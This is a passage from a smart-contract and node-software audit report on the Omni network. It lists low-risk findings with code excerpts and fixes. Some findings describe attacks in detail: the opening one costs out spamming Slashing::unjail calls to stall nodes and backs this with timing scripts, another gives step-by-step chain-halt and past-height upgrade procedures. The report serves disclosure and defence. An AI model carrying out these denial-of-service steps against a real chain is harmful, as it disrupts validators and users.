The `Slashing` predeploy charges users a fee for unjailing their validators, which equals `0.1 ether`. However, the gas token of the Omni network is the `$OMNI` token, not `$ETH`, so `0.1 ether` is not `~250$`, but rather `0.712$`, as seen here. This is not enough to prevent a malicious user from spamming some blocks with calls to `Slashing::unjail`, filling them with `Unjail` events and bringing the node to a downtime in `evmmsgs::evmEvents -> evmslashing::Prepare -> evmslashing::FilterLogs` as the connection *blocks* the execution until the query is done. After doing some testing, which I explain in the next section, the attack would cost `~3000$` per block with `~1.6-2s` downtime.

REFERENCE: `https://blog.trailofbits.com/2023/10/23/numbers-turned-weapons-dos-in-osmosis-math-library/`

- Proof of Concept

The attack is pretty simple, just fill a few blocks with calls to `Slashing::Unjail`, paying each time `0.712$` at the current price, so that the Cosmos client, when querying the EVM logs for a given blockhash in:

```
// Prepare returns all omni stake contract EVM event logs from the provided block hash.
func (p EventProcessor) Prepare(ctx context.Context, blockHash common.Hash) ([]evmenginetypes.EVMEvent, error)
{
    logs, err := p.ethCl.FilterLogs(ctx, ethereum.FilterQuery{
        BlockHash: &blockHash,
        Addresses: p.Addresses(),
        Topics:    [][]common.Hash{{unjailEvent.ID}},
    })
    if err != nil {
        return nil, errors.Wrap(err, "filter logs")
    }

    resp := make([]evmenginetypes.EVMEvent, 0, len(logs))
    for _, l := range logs {
        topics := make([][]byte, 0, len(l.Topics))
        for _, t := range l.Topics {
            topics = append(topics, t.Bytes())
        }
        resp = append(resp, evmenginetypes.EVMEvent{
            Address: l.Address.Bytes(),
            Topics:  topics,
            Data:    l.Data,
        })
    }

    return resp, nil
}
```

blocks the execution of the program until it gets back the *invalid* logs from the `FilterLogs` function, and then loops through all of them many times in `evmmsgs::evmEvents`:

```
// evmEvents returns all EVM log events from the provided block hash.
func (k *Keeper) evmEvents(ctx context.Context, blockHash common.Hash) ([]types.EVMEvent, error) {
    var events []types.EVMEvent
    for _, proc := range k.eventProcs {
        // Fetching evm events over the network is unreliable, retry forever.
        err := retryForever(ctx, func(ctx context.Context) (bool, error) {
            ll, err := proc.Prepare(ctx, blockHash)
            if err != nil {
                log.Warn(ctx, "Failed fetching evm events (will retry)", err, "proc", proc.Name())
                return false, nil // Retry
            }

            events = append(events, ll...)

            return true, nil // Done
        })
        if err != nil {
            return nil, err
        }
    }

    // Verify all events
    for _, event := range events {
        if err := event.Verify(); err != nil {
            return nil, errors.Wrap(err, "verify evm events")
        }
    }

    // Sort by Address > Topics > Data
    // This avoids dependency on runtime ordering.
    sort.Slice(events, func(i, j int) bool {
        if cmp := bytes.Compare(events[i].Address, events[j].Address); cmp != 0 {
            return cmp < 0
        }

        // TODO: replace this with sort.CompareFunc in next network upgrade which is more performant but has
↪   slightly different results
        topicI := slices.Concat(events[i].Topics...)
        topicJ := slices.Concat(events[j].Topics...)
        if cmp := bytes.Compare(topicI, topicJ); cmp != 0 {
            return cmp < 0
        }

        return bytes.Compare(events[i].Data, events[j].Data) < 0
```

```
    })

    return events, nil
}
```

The attacks costs are as follows:

- The first call to `Slashing::Unjail` costs `35705` gas, and next ones cost `8205` gas (due to cold access to the addresses)
- As Omni network uses a vanilla Geth as the execution client, each block has a maximum gas of `30M`, so `(30M - 35705) / 8205 = 3651,9 = 3651` logs can be emitted
- Each log needs to pay the `0.1 $OMNI` as a fee, so `0.1 * 7.12 * (3651 + 1) = 2600$` in fees (let's say adding execution fees it cost `3000$` per block)
- To test the time needed to query the logs of a full block I used block 21112279 from mainnet, with an access time of `1.6s` (take into account it had less logs than what our attack would, so, in practice, it would be higher). The following code was used:

```
from web3 import Web3
import time

node_url = "RPC_URL"
web3 = Web3(Web3.HTTPProvider(node_url))
before = time.time()
web3.eth.get_logs({"blockHash": "0x15fcb72094b2afcf36642a522e240cebcac361d78b1acd5722b1b5b688ff4c2d"})

print("Time spent ", time.time() - before)
```

- Now, to test the amount of time needed to loop through all the *invalid* events, the following code was used (copy-pasted from the module's):


```
package main

import (
    "fmt"
    "time"
    "encoding/hex"
    "sort"
    "bytes"
    "slices"
)

type EVMEvent struct {
    Address []byte   `protobuf:"bytes,1,opt,name=address,proto3" json:"address,omitempty"`
    Topics  [][]byte `protobuf:"bytes,2,rep,name=topics,proto3" json:"topics,omitempty"`
    Data    []byte   `protobuf:"bytes,3,opt,name=data,proto3" json:"data,omitempty"`
}

func main() {
    // Inicializamos el nmero de logs
    logs_in_a_block := 3651

    // Creamos el topic en bytes
    topic, _ := hex.DecodeString("c3ef55ddda4bc9300706e15ab3aed03c762d8afd43a7d358a7b9503cb39f281b") //
↪   keccak256("Unjail(address)")

    // Inicializamos el array de logs con los valores especificados
    logs := make([]EVMEvent, logs_in_a_block)
    for i := range logs {
        logs[i] = EVMEvent{
            Address: make([]byte, 20),       // not needed
            Topics:  [][]byte{topic, topic}, // the second topic would be the validator address
            Data:    []byte{},               // no dynamic data
        }
    }

    before := time.Now()
    resp := make([]EVMEvent, 0, logs_in_a_block)

    for _, l := range logs {
        topics := make([][]byte, 0, len(l.Topics))
        for _, t := range l.Topics {
```

```
            topics = append(topics, t)
        }
        resp = append(resp, EVMEvent{
            Address: l.Address,
            Topics:  topics,
            Data:    l.Data,
        })
    }

    sort.Slice(logs, func(i, j int) bool {
        if cmp := bytes.Compare(logs[i].Address, logs[j].Address); cmp != 0 {
            return cmp < 0
        }

        // TODO: replace this with sort.CompareFunc in next network upgrade which is more performant but has
↪   slightly different results
        topicI := slices.Concat(logs[i].Topics...)
        topicJ := slices.Concat(logs[j].Topics...)
        if cmp := bytes.Compare(topicI, topicJ); cmp != 0 {
            return cmp < 0
        }

        return bytes.Compare(logs[i].Data, logs[j].Data) < 0
    })

    spent := time.Since(before)
    fmt.Printf("Time spent: %v\n", spent)
}
```

- Overall, the expected downtime from processing such blocks would be, at least, `1.6s` from the networking part and `1.3-1.7ms` from the *"useless looping"*. From the ToB post above, doing this attack in just a few blocks and delaying execution for `~2s` each, would halt the chain completely by spending no more than `15-20K` dollars (not free but not pretty expensive)

I used a PC with a `i9-14900HX`, `32GB RAM` and network speed of 1GB/s to make it as *"production-ready"* as possible.

- Recommended Mitigation Steps

Make `Fee` non-constant (as well as `MinDeposit` and `MinDelegation` in `Staking.sol`), so that a trusted account can change them depending on the price of the `$OMNI` token, to prevent the attack explained above.

3.6.138 Non-determinism issue when modifying state

Severity: Low Risk

Context: keeper.go#L207

- Description Using `time.Now()` as a way to get the current time is flawed as it leads to non-determinism, since nodes are unlikely to process messages at the same point in time. That means node `A` can execute this statement at time `T` whilst node `B` will execute the same statement with the same inputs, but at time `T + t'`. As both nodes must share the same state to have consensus, this leads to a divergence between them and the chain no longer has consensus about what state is the correct one.
- Recommendation

Use `ctx.BlockTime()` instead, which should be the canonical definition of what “now” is.

3.6.139 Incorrect Empty Topics Validation Breaks LOG0 Event Support

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary The EVMEvent.Verify() function incorrectly rejects events with no topics (LOG0), which is a valid EVM log type. This prevents processing of valid LOG0 events.This also happens at ToEthLog function.
- Finding Description

```
func (l *EVMEvent) Verify() error {
    // Incorrect: Rejects LOG0 events
    if len(l.Topics) == 0 {
        return errors.New("empty topics")  // Wrong! LOG0 is valid
    }
}
```

```
// ToEthLog converts an EVMEvent to an Ethereum Log.
// Note it assumes that Verify has been called before.
func (l *EVMEvent) ToEthLog() (ethtypes.Log, error) {
    if l == nil {
        return ethtypes.Log{}, errors.New("nil log")
    } else if len(l.Topics) == 0 { <@= here
        return ethtypes.Log{}, errors.New("empty topics")
    }

    topics := make([]common.Hash, 0, len(l.Topics))
    for _, t := range l.Topics {
        hash, err := cast.EthHash(t)
        if err != nil {
            return ethtypes.Log{}, err
        }

        topics = append(topics, hash)
    }

    addr, err := cast.EthAddress(l.Address)
    if err != nil {
        return ethtypes.Log{}, err
    }

    return ethtypes.Log{
        Address: addr,
        Topics:  topics,
        Data:    l.Data,
    }, nil
}
```

EVM Log Types

```
// Valid EVM log types:
LOG0: No topics    (data only)
LOG1: One topic
LOG2: Two topics
LOG3: Three topics
LOG4: Four topics
```

- Impact Explanation LOG0 Events Broken:
- Valid LOG0 events rejected
- Breaks compatibility with contracts using LOG0
- Prevents data-only logging
- Recommendation (optional) Remove the empty topics check:

3.6.140 RPC endpoints to fetch XMsg events are a form of centralization risk

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The validators will connect to the RPC endpoints to determine the `XMsg` events that occurred in the blocks:

```
    // Fetch the header if we didn't find it in the cache
    if header == nil {
        header, err = ethCl.HeaderByNumber(ctx, umath.NewBigInt(req.Height))
        if err != nil {
            return xchain.Block{}, false, errors.Wrap(err, "header by number")
        }
    }
```

This is a centralization risk because if the RPC endpoints turn malicious or accidentally return faulty data (such as during a chain fork), invalid XMsg can be created and passed.

3.6.141 If protocol deploys on Blast in the future, gas yield can be stolen

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

`OmniPortal` makes an arbitrary call to arbitrary address.

```
function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪  uint256) {
        uint256 gasLeftBefore = gasleft();

        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        // @audit - 1/63G - r
        (bool success, bytes memory result) =
            // @audit - if behaviour depends on gasleft() it will be wrong
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪  data });

        uint256 gasLeftAfter = gasleft();

        // The relayer can overconsume gas
        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪  c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
        // @audit - off-by-1
        if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪  exception
            assembly {
                invalid()
            }
        }

        return (success, result, gasLeftBefore - gasLeftAfter);
    }
```

If protocol deploys on Blast in the future, gas yield can be stolen by calling the Blast predeploy and configuring attacker as governor to harvest the gas yield.

3.6.142 Malicious actors can spam delegation or unjail calls resulting in a chain halt during events processing in PrepareProposal

Severity: Low Risk

Context: abci.go#L128

- Summary Whitelisted malicious validators with a big enough reserve of $OMNI tokens can spam `delegate()` calls on the Staking pre-deploy contract or `unjail()` events on the Slashing pre-deploy contract on Omni EVM causing the unbounded loop in `evmEvents()` *evmengine* Keeper method to cause the chain to halt due to running out of resources while preparing a proposal.
- Description The Cosmos SDK documentation warns against loops in unmetered code in its security handbook:

  Poorly Chosen Loop/Recursion Exit Condition

  This is a consideration that seems trivial but comes up much more frequently than one might expect. If a loop in unmetered code is never exited or a recursion base case is never hit, it might lead to an expensive chain halt.

The Staking pre-deploy contract imposes a minimum $OMNI token deposit of `1 ether` equal to 1 $OMNI when calling `delegate()` but that's too low and allows malicious validators to cause the chain to halt due to the unbounded loops in events collection when a proposal is prepared. Also regular malicious users can also spam the even cheaper `unjail()` calls in the Slashing pre-deploy contract that require just a fee of `0.1 ether` which is equal to 0.1 $OMNI even if they are not validators, broadening the attack surface for this vector.

This way validators will fail to prepare proposals as every node's `PrepareProposal()` method calls the Octane's *evmengine* module `evmEvents` methods. This collects all monitored events emitted by the following pre-deploy contracts:

- **PortalRegistry**: emits `PortalRegistered` event in a permissioned method; not of interest
- **Staking**: emits `CreateValidator` and `Delegate` events; both are permissionless; `Delegate` is of interest as is cheap to spam
- **Slashing**: emits `Unjail` event which is of interest as is even cheaper to spam and does **NOT** even require the caller to be a validator.
- **Upgrade**: emits `PlanUpgrade` and `CancelUpgrade` events; both are permissioned and not of interest

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/octane/Staking.sol?text=staking.sol#L103-L105

```
contract Staking is OwnableUpgradeable {
    // ...

    uint256 public constant MinDelegation = 1 ether;

    // ...

    function delegate(address validator) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
       require(msg.value >= MinDelegation, "Staking: insufficient deposit");
```

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/octane/Slashing.sol?text=slashing#L44

```
contract Slashing {
    // ...

    uint256 public constant Fee = 0.1 ether;

    // ...

    function unjail() external payable {
       _burnFee();
        emit Unjail(msg.sender);
    }

    function _burnFee() internal {
       require(msg.value >= Fee, "Slashing: insufficient fee");
        payable(BurnAddr).transfer(msg.value);
    }
```

- Impact Validator nodes will fail to generate proposals leading to a chain halt.
- Proof of Concept

1. Multiple malicious users simultaneously start spamming an overwhelming amount of `unjail()` calls to the Slashing pre-deployed contracts on the Omni EVM in a single block.
2. Validator A is the next proposer for a consensus chain block at round 0. They execute `PrepareProposal()` but the method fails due to needing to collect, process and verify the overwhelming amount of spammed events.
3. Validator A fails to propose a block on time and the next consensus round 1 begins.
4. Validator B is the next proposer for consensus block now at round 1. They also call `PrepareProposal()` but stumble upon the same problem while collecting, processing and verifying the events emitted by the pre-deployed contracts.
5. Validator B also fails to propose a block on time and next consensus round 2 begins.
6. The process goes on indefinitely, resulting in a chain halt as none of the validators are able to prepare a proposal.

- Recommendation Allow only up to a certain number calls of `unjail()` or `delegate()` per block. No reasonable validator would have a reason to call them more than even 1 time per block, especially the `unjail()` function and perhaps require that `msg.sender` is a validator in one of the recent validator sets.

3.6.143 Unjail should be restricted to validators

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

Unjail is recommended to be restricted to validators as it requires consensus chain work to handle the events (sorting the EVM event logs as well as delivering the `MsgUnjail` to `x/slashing` module). In the current state, anyone can call it to spam the consensus chain with work.

```
     * @notice Unjail your validator
     * @dev Proxies x/slashing.MsgUnjail
     */
    function unjail() external payable {
        _burnFee();
        emit Unjail(msg.sender);
    }
```

3.6.144 It would be extremely hard to track latest xmsg because XReceipt index is not unique

Severity: Low Risk

Context: IOmniPortal.sol#L44-L52, OmniPortal.sol#L286

- Description XReceipt are expected to track the user's xmsg and it is important that xmsg could be mapped to an XReceipt one to one. XReceipt uses sourceChainId, shardId and offset as the index. But this does not map one to one to latest xmsgs because:
- An attested block might be reorged. Therefore, the final blocks might have a different xmsg for the same XReceipt index
- It is possible for some xmsg within the same block to be delivered while some are not.
- Recommendation Emit the source block hash in XReceipt event.

3.6.145 Missing upgrade height validation enables immediate network upgrades

Severity: Low Risk

Context: Upgrade.sol#L53-L55

- Summary The Upgrade contract and its corresponding event processor lack validation for the upgrade height parameter, allowing upgrades to be scheduled for **past block heights**. This triggers an immediate upgrade in the Cosmos SDK, potentially causing unexpected network halts and chain splits.
- Finding Description The current implementation of the upgrade system allows an owner to schedule upgrades without any validation of the target block height. Of particular concern is the ability to set a block height in the past, which the Cosmos SDK interprets as a signal for immediate upgrade execution.

The vulnerability exists in two components:

1. Smart Contract (`Upgrade.sol`):

```
function planUpgrade(Plan calldata plan) external onlyOwner {
    // No validation of plan.height
    emit PlanUpgrade(plan.name, plan.height, plan.info);
}
```

2. Event Processor (`evmupgrade/processor.go`):

```
func (p EventProcessor) deliverPlanUpgrade(ctx context.Context, plan *bindings.UpgradePlanUpgrade) error {
    heightInt64, err := umath.ToInt64(plan.Height)
    // No validation if height is in past

    msg := utypes.MsgSoftwareUpgrade{
        Height: heightInt64,  // Past height directly used
    }
}
```

When this event is processed by the Cosmos SDK upgrade module, if `height < current_height`, it triggers an immediate upgrade. This behavior is documented in the Cosmos SDK but not properly handled in the implementation.

- Impact Explanation It can have several impacts, and each impact detail is given below.

1. **Network-wide Impact**:
    - Immediate, unplanned network upgrades
    - Potential chain halts if validators aren't prepared
    - Possible permanent chain splits if some validators upgrade while others don't
2. **Governance Implications**:
    - Bypasses standard upgrade coordination procedures
    - Removes validators' ability to prepare for upgrades

- Could lead to loss of consensus and network security

3. **Financial Impact**:
    - Network downtime could affect all DApps and users
    - Chain splits could lead to double-spend opportunities
    - Trading and DeFi protocols could face significant losses

- Likelihood Explanation Rated as **LOW-MED** likelihood because:

1. Can be triggered by a single transaction from the owner
2. No technical barriers to execution
3. Could occur through:
    - Malicious action by a compromised owner
    - Human error when inputting upgrade height
    - Miscalculation of block times
    - Race conditions in multi-transaction governance processes

- Proof of Concept

Let's do the pseudo code as PoC

```
// 1. Deploy Upgrade contract
let upgrade = await Upgrade.deploy()

// 2. Owner calls planUpgrade with past height
await upgrade.planUpgrade({
    name: "MaliciousUpgrade",
    height: 1,  // Past block height
    info: "Immediate upgrade"
})

// Result: Network immediately attempts upgrade
// - Validators have no preparation time
// - Chain likely halts or splits
```


- Recommendation Implement mandatory height validations at both contract and processor levels:

1. Smart Contract:

```
function planUpgrade(Plan calldata plan) external onlyOwner {
    uint64 currentHeight = uint64(block.number);
    uint64 minDelay = 40320; // ~1 week at 15s blocks

    require(
        plan.height > currentHeight + minDelay,
        "Upgrade must be scheduled sufficiently in future"
    );

    emit PlanUpgrade(plan.name, plan.height, plan.info);
}
```

2. Event Processor:

```go
func (p EventProcessor) deliverPlanUpgrade(ctx context.Context, plan *bindings.UpgradePlanUpgrade) error {
    currentHeight := ctx.BlockHeight()
    heightInt64, err := umath.ToInt64(plan.Height)
    if err != nil {
        return errors.Wrap(err, "invalid height")
    }

    minHeight := currentHeight + 40320
    if heightInt64 <= currentHeight {
        return errors.New("upgrade height cannot be in past")
    }
    if heightInt64 < minHeight {
        return errors.New("upgrade height too soon")
    }

    // Proceed with upgrade planning...
}
```

Along with this I have some other recommendations for this also

1. Add emergency upgrade capabilities through a separate, explicitly immediate upgrade function if needed
2. Implement maximum upgrade delay to prevent scheduling too far in the future
3. Add upgrade queuing system to prevent overlapping upgrades
4. Include explicit logging and events for upgrade timing information
5. Consider implementing a time-delay rather than block-height delay to account for varying block times

3.6.146 Missing and outdated OP preinstalls

Severity: Low Risk

Context: Preinstalls.sol#L42

- Description Opstack defines the latest preinstalls here.

The `CreateX` preinstall is missing and some other contracts are outdated:

- `EntryPoint_v060`
- `SenderCreator_v060`
- Recommendation Sync your version with the latest one from OP.

3.6.147 Admin message skip leading to permanent fund loss

Severity: Low Risk

Context: OmniPortal.sol#L466-L478

- Summary The `setInXMsgOffset` admin function allows skipping message offsets in failure scenarios, but lacks mechanisms to handle stuck funds, track skipped messages, or maintain bridge balance consistency. This can lead to permanent fund loss and bridge state inconsistency.
- Finding Description The bridge system uses sequential offsets to track cross-chain messages:

1. Message Processing Flow:

```
// On OMNI side:
User1: bridges 100 OMNI (offset 6) -> funds deducted
User2: bridges 50 OMNI  (offset 7) -> funds deducted
User3: bridges 75 OMNI  (offset 8) -> funds deducted

// On ETH side when offset 6 fails:
setInXMsgOffset(chain, shard, 7) // Skips offset 6 entirely
```

Critical issues it leads to:

1. No tracking of skipped messages

2. No refund mechanism for failed/skipped transfers
3. No bridge balance reconciliation
4. Lost transaction finality and accountability

Vulnerable Code:

```
function _setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) internal {
    inXMsgOffset[sourceChainId][shardId] = offset;
    emit InXMsgOffsetSet(sourceChainId, shardId, offset); // @audit - only emits new offset, no record of
↪  skipped messages
}

// In xsubmit:
require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

- Impact Explanation Rated as **HIGH** severity due to:

1. **Direct financial loss**:
    - Users whose messages are skipped permanently lose their funds
    - No built-in recovery mechanism for the skipped offsets
    - Funds are stuck in limbo between chains
2. **Bridge state corruption**:
    - L1 bridge balance is reduced but L2 never receives funds
    - Creates permanent accounting discrepancy
    - No mechanism to reconcile balances across chains
3. **System integrity**:
    - Breaks transaction finality guarantees
    - No accountability for skipped messages
    - Very high potential for silent failures
4. **Trust implications**:
    - Requires blind trust in admin
    - No transparency in recovery process
    - No guarantees for users

- Likelihood Explanation Rated as **HIGH** likelihood because:

1. Bridge failures are common in production
2. Complex cross-chain messages can fail for many reasons
3. Admin intervention is often needed in bridge operations
4. Recovery procedures are frequently required

- Proof of Concept

```
// Initial state
L1_bridge_balance = 1000 OMNI
L2_bridge_balance = 1000 OMNI

// User transactions
user1.bridge(100 OMNI) // offset 6
user2.bridge(50 OMNI)  // offset 7
user3.bridge(75 OMNI)  // offset 8

// L1 state after transactions
L1_bridge_balance = 775 OMNI // (1000 - 100 - 50 - 75)

// L2 processing fails at offset 6
admin.setInXMsgOffset(OMNI_CHAIN, SHARD_ID, 7) // Skip offset 6

// Final state
L1_bridge_balance = 775 OMNI
L2_bridge_balance = 1000 OMNI  // Never received offset 6's 100 OMNI
user1_balance = -100 OMNI      // Lost funds, no recovery possible
```

- Recommendation

1. Implement message skip tracking:

```
mapping(uint64 => mapping(uint64 => mapping(uint64 => bool))) public isSkippedMessage;
mapping(uint64 => mapping(uint64 => uint64[])) public skippedOffsets;

function _setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 newOffset) internal {
    uint64 currentOffset = inXMsgOffset[sourceChainId][shardId];

    // Track all skipped messages
    for(uint64 i = currentOffset + 1; i < newOffset; i++) {
        isSkippedMessage[sourceChainId][shardId][i] = true;
        skippedOffsets[sourceChainId][shardId].push(i);
    }

    inXMsgOffset[sourceChainId][shardId] = newOffset;
    emit MessageSkipped(sourceChainId, shardId, currentOffset, newOffset);
}
```

2. Implement a mechanism to process these failed offset so that user funds can be recovered:

```
function processFailedMessage(uint64 sourceChainId, uint64 shardId, uint64 offset) external {
    require(isSkippedMessage[sourceChainId][shardId][offset], "Not a skipped message");

    // Retrieve original message details
    MessageDetails memory details = getMessageDetails(sourceChainId, shardId, offset);

    // Process refund on source chain
    _processRefund(details.sender, details.amount);

    emit MessageRefunded(sourceChainId, shardId, offset, details.sender, details.amount);
}
```

3. Add bridge balance reconciliation:

```
function reconcileBridgeBalance(uint64 sourceChainId, uint64 shardId) external {
    uint64[] memory skipped = skippedOffsets[sourceChainId][shardId];
    uint256 totalSkipped = 0;

    for(uint256 i = 0; i < skipped.length; i++) {
        MessageDetails memory details = getMessageDetails(sourceChainId, shardId, skipped[i]);
        totalSkipped += details.amount;
    }

    _adjustBridgeBalance(totalSkipped);
}
```

3.6.148 Finalized block can override fake fuzzy attestations

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description If the attestation is fuzzy and the finalized block exists at the same attest offset. The finalized block shall override the fuzzy attestation

```
// maybeOverrideFinalized returns the approved finalized attestation and true for the provided fuzzy
↪  attestation if it exists.
func (k *Keeper) maybeOverrideFinalized(ctx context.Context, att *Attestation) (bool, error) {
    if att.GetStatus() != uint32(Status_Pending) {
        return false, errors.New("attestation not pending [BUG]")
    }

    if att.GetConfLevel() == uint32(xchain.ConfFinalized) {
        return false, nil // Only fuzzy attestations are overwritten with finalized attestations.
    }

    finalizedIdx := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatusChainIdConfLevelAttestOf
↪  fset(uint32(Status_Approved), att.GetChainId(), uint32(xchain.ConfFinalized),
↪  att.GetAttestOffset())
    iter, err := k.attTable.List(ctx, finalizedIdx)
    if err != nil {
        return false, errors.Wrap(err, "list finalized")
    }
    defer iter.Close()

    if !iter.Next() {
        // No finalized attestation found.
        return false, nil
    }

    finalized, err := iter.Value()
    if err != nil {
        return false, errors.Wrap(err, "value finalized")
    }

    if iter.Next() {
        return false, errors.New("multiple finalized attestation found [BUG]")
    } else if finalized.GetFinalizedAttId() != 0 {
        return false, errors.New("finalized attestation has finalized attestation [BUG]")
    }

    att.FinalizedAttId = finalized.GetId()
    att.Status = uint32(Status_Approved)
    if err = k.attTable.Update(ctx, att); err != nil {
        return false, errors.Wrap(err, "update attestation")
    }

    log.Debug(ctx, " Fuzzy attestation overridden by finalized",
        "chain", k.namer(att.XChainVersion()),
        "attest_offset", att.GetAttestOffset(),
        "height", att.GetBlockHeight(),
        log.Hex7("hash", att.GetBlockHash()),
    )

    return true, nil
}
```

But this also includes a fake fuzzy attestation (submitted by a malicious validator) which will be approved and overridden by the finalized XBlock.

However, but something that might be good to fix as the relayer should be checking if the fuzzy attestation is overridden by a finalized block using `FinalizedAttId` and use that finalized block instead.

3.6.149 DetectReorg function doesn't check for non consecutive message offset within a block for the first block

Severity: Low Risk

Context: voter.go#L594-L614

- Description

The detectReorg function is seems to be here for checking if a reorg is detected. The comment above the function state that it checks for the 2 following conditions:

- Previous block hash doesn't match the next block's parent hash.
- Stream offsets are not consecutive.

Although, the first check that is made is if there is a previous block (i.e. if the block is the first block), and returning an error if it is. But stream offsets have not been checked then for the first block. This is shown below (see the @POC)

```
// detectReorg returns an error if a reorg is detected based on the following conditions:
// - Previous block hash doesn't match the next block's parent hash.
// - Stream offsets are not consecutive.
func detectReorg(chainVer xchain.ChainVersion, prevBlock *xchain.Block, block xchain.Block, streamOffsets
↪  map[xchain.StreamID]uint64) error {
    if prevBlock == nil { // @POC returning nil on first block
        return nil // Skip first block (without previous).
    }

    if prevBlock.BlockHeight+1 != block.BlockHeight {
        return errors.New("consecutive block height mismatch [BUG]", "prev_height", prevBlock.BlockHeight,
↪  "new_height", block.BlockHeight)
    }

    for _, xmsg := range block.Msgs { // @POC This check for offsets will never be done for the first block
        offset, ok := streamOffsets[xmsg.StreamID]
        if ok && xmsg.StreamOffset != offset+1 {
            return errors.New("non-consecutive message offsets", "stream", xmsg.StreamID, "prev_offset",
↪  offset, "new_offset", xmsg.StreamOffset)
        }

        // Update the cursor
        streamOffsets[xmsg.StreamID] = xmsg.StreamOffset
    }
```

- Impact

Validators could attest for messages inside a block although offset's messages are not consecutive

- Likelihood explanation

A single malicious validator is needed on the first block

- Recommendation

Just check the offset's messages before checking that the current block the first one.

3.6.150 Cannot export genesis state for future hard fork

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

From Cosmos docs:

https://docs.cosmos.network/main/build/building-modules/genesis#other-genesis-methods

> Other than the methods related directly to GenesisState, module developers are expected to implement two other methods as part of the AppModuleGenesis interface (only if the module needs to initialize a subset of state in genesis). These methods are InitGenesis and ExportGenesis.

However in the `module.go` for both `valsync` and `evmengine` it will return `nil`, hence the genesis state of validator set or EVM head cannot be exported.

```
func (AppModule) ExportGenesis(sdk.Context, codec.JSONCodec) json.RawMessage {
    return nil
}
```

Exporting genesis state is required whenever the chain needs to be upgraded via a hard fork:

https://docs.cosmos.network/main/build/building-modules/genesis#exportgenesis

> The ExportGenesis method is executed whenever an export of the state is made. It takes the latest known version of the subset of the state managed by the module and creates a new GenesisState out of it. This is mainly used when the chain needs to be upgraded via a hard fork.

- Recommendation

Define `ExportGenesis` correctly

3.6.151 Rollback does not rollback the EVM engine state

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

The rollback command rolls back application by 1 block. However, the problem is that it does not rollback the EVM engine state.

```
func Rollback(ctx context.Context, cfg Config, rCfg RollbackConfig) error {
    db, err := dbm.NewDB("application", cfg.BackendType(), cfg.DataDir())
    if err != nil {
        return errors.Wrap(err, "create db")
    }

    baseAppOpts, err := makeBaseAppOpts(cfg)
    if err != nil {
        return errors.Wrap(err, "make base app opts")
    }

    engineCl, err := newEngineClient(ctx, cfg, cfg.Network, nil)
    if err != nil {
        return err
    }

    privVal, err := loadPrivVal(cfg)
    if err != nil {
        return errors.Wrap(err, "load validator key")
    }

    voter, err := newVoterLoader(privVal.Key.PrivKey)
    if err != nil {
        return errors.Wrap(err, "new voter loader")
    }

    //nolint:contextcheck // False positive.
    app, err := newApp(
        newSDKLogger(ctx),
        db,
        engineCl,
        voter,
        netconf.ChainVersionNamer(cfg.Network),
        netconf.ChainNamer(cfg.Network),
        burnEVMFees{},
        serverAppOptsFromCfg(cfg),
        make(chan<- error, 1),
        baseAppOpts...,
    )
    if err != nil {
        return errors.Wrap(err, "new app")
    }
```

```
    // Rollback CometBFT state
    height, hash, err := cmtcmd.RollbackState(&cfg.Comet, rCfg.RemoveCometBlock)
    if err != nil {
        return errors.Wrap(err, "rollback comet state")
    }

    // Rollback the multistore
    if err := app.CommitMultiStore().RollbackToVersion(height); err != nil {
        return errors.Wrap(err, "rollback to height")
    }

    log.Info(ctx, "Rolled back consensus state", "height", height, "hash", fmt.Sprintf("%X", hash))

    return nil
}
```

Here we can see it creates the `newEngineClient` which just creates a new client to query the Engine API.

```
func newEngineClient(ctx context.Context, cfg Config, network netconf.ID, pubkey crypto.PubKey)
↪  (ethclient.EngineClient, error) {
    if network == netconf.Simnet {
        return ethclient.NewEngineMock(
            ethclient.WithPortalRegister(netconf.SimnetNetwork()),
            ethclient.WithFarFutureUpgradePlan(),
            ethclient.WithMockSelfDelegation(pubkey, 1),
        )
    }

    jwtBytes, err := ethclient.LoadJWTHexFile(cfg.EngineJWTFile)
    if err != nil {
        return nil, errors.Wrap(err, "load engine JWT file")
    }

    engineCl, err := ethclient.NewAuthClient(ctx, cfg.EngineEndpoint, jwtBytes)
    if err != nil {
        return nil, errors.Wrap(err, "create engine client")
    }

    return engineCl, nil
}
```

But it does not call any Engine API methods to rollback the state of the application which might lead to inconsistent states between the execution heads stored in the application and the EVM engine when the halo client is rolled back.

- Recommendation

Consider handling the rollback the Engine API.

3.6.152 Low risks for OmniPortal.sol and PortalRegistry.sol

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Lows
- [L-01] Not enough validation in `_setInXMsgOffset` and `_setInXBlockOffset` for in OmniPortal.sol
- Summary `_setInXMsgOffset` and `_setInXBlockOffset` dont use enough validation checks for the offset parameter, opening path state inconsistencies.
- Code snippet

```
function _setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) internal {
    inXMsgOffset[sourceChainId][shardId] = offset;
    emit InXMsgOffsetSet(sourceChainId, shardId, offset);
}

function _setInXBlockOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) internal {
    inXBlockOffset[sourceChainId][shardId] = offset;
    emit InXBlockOffsetSet(sourceChainId, shardId, offset);
}
```

